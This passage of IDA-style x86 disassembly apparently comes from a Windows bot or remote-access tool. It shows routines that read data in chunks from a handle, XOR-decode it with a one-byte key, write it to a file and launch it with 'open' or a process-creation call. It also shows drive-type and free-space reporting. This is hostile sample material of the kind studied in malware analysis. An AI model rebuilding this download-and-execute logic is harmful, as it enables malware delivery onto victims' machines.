		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB66C
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+8], eax
		jnz	loc_41604A
		mov	edi, [ebp-18h]


loc_4160E7:				; CODE XREF: ___:0041603Fj
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2660868h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437BA8
		push	eax
		call	sub_41B886


loc_416120:				; CODE XREF: ___:00415FF7j
		add	esp, 14h


loc_416123:				; CODE XREF: ___:00416030j
		cmp	[ebp-50h], esi
		jnz	short loc_416148
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: ___:00416126j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6EC


loc_416160:				; CODE XREF: ___:00416157j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_41617C:				; CODE XREF: ___:004160CAj
					; ___:004160D5j
		push	esi
		mov	esi, offset dword_437B90
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_4161BD:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 27009E9h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437D0C
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: ___:0041623Ej
		push	eax
		nop
		call	near ptr 2660868h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626F
		push	offset unk_437CDC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: ___:00416266j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4162A0
		push	offset unk_437CBC


loc_41628D:				; CODE XREF: ___:00416245j
					; ___:0041626Dj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: ___:00416286j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: ___:0041630Bj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB650
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: ___:004162D5j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	1
		nop
		call	near ptr 26E0000h


loc_41636C:				; CODE XREF: ___:004162CCj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C90
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639C:				; CODE XREF: ___:0041629Bj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C1
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: ___:0041639Fj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DC:				; CODE XREF: ___:004163D1j
		cmp	[ebp+8], ebx
		jbe	short loc_4163EA
		push	dword ptr [ebp+8]
		call	dword_4CB6EC


loc_4163EA:				; CODE XREF: ___:004163DFj
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_4163FA:				; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB558
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 27009E9h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ED8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h


loc_4164C1:				; CODE XREF: ___:00416462j
		xor	edi, edi
		nop
		call	near ptr 2690E09h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DB:				; CODE XREF: ___:004165AEj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB560
		cmp	[ebp-34h], esi
		jz	short loc_41651F
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: ___:0041650Cj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26F0000h
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416547
		mov	eax, [ebp+8]


loc_416547:				; CODE XREF: ___:00416542j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655D:				; CODE XREF: ___:00416539j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_41656A
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: ___:00416563j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437EB0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: ___:00416570j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E88


loc_416594:				; CODE XREF: ___:00416582j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: ___:00416568j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416609
		cmp	edi, [ebp-3Ch]
		jz	short loc_416609
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E5C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: ___:004165BEj
					; ___:004165C3j
		nop
		call	near ptr 2690E09h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2660868h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416693
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437E34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: ___:0041663Bj
					; ___:0041664Dj
		cmp	[ebp-14h], esi
		jz	loc_4168D3
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678E
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: ___:004166ECj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5C0
		cmp	[ebp-30h], esi
		jnz	loc_4168D3
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DE0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: ___:004166A0j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437D9C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: ___:004167D4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D808
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2660BD6h
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB5AC
		call	sub_41835A
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416878:				; CODE XREF: ___:00416864j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D68
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: ___:0041643Fj
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D3C


loc_416892:				; CODE XREF: ___:00416884j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: ___:004168A4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: ___:00416696j
					; ___:0041671Fj ...
		push	dword ptr [ebp-18h]
		call	dword_4CB688
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: ___:00416518p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3288
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6B4
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F2C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F28
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB544
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F7C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F40
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5BC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5BC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset off_437FB8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp

; ---------------------------------------------------------------------------
word_416CAE	dw 8B55h		; DATA XREF: sub_401ACD+68A0o
		dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
		dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
		dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
		dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
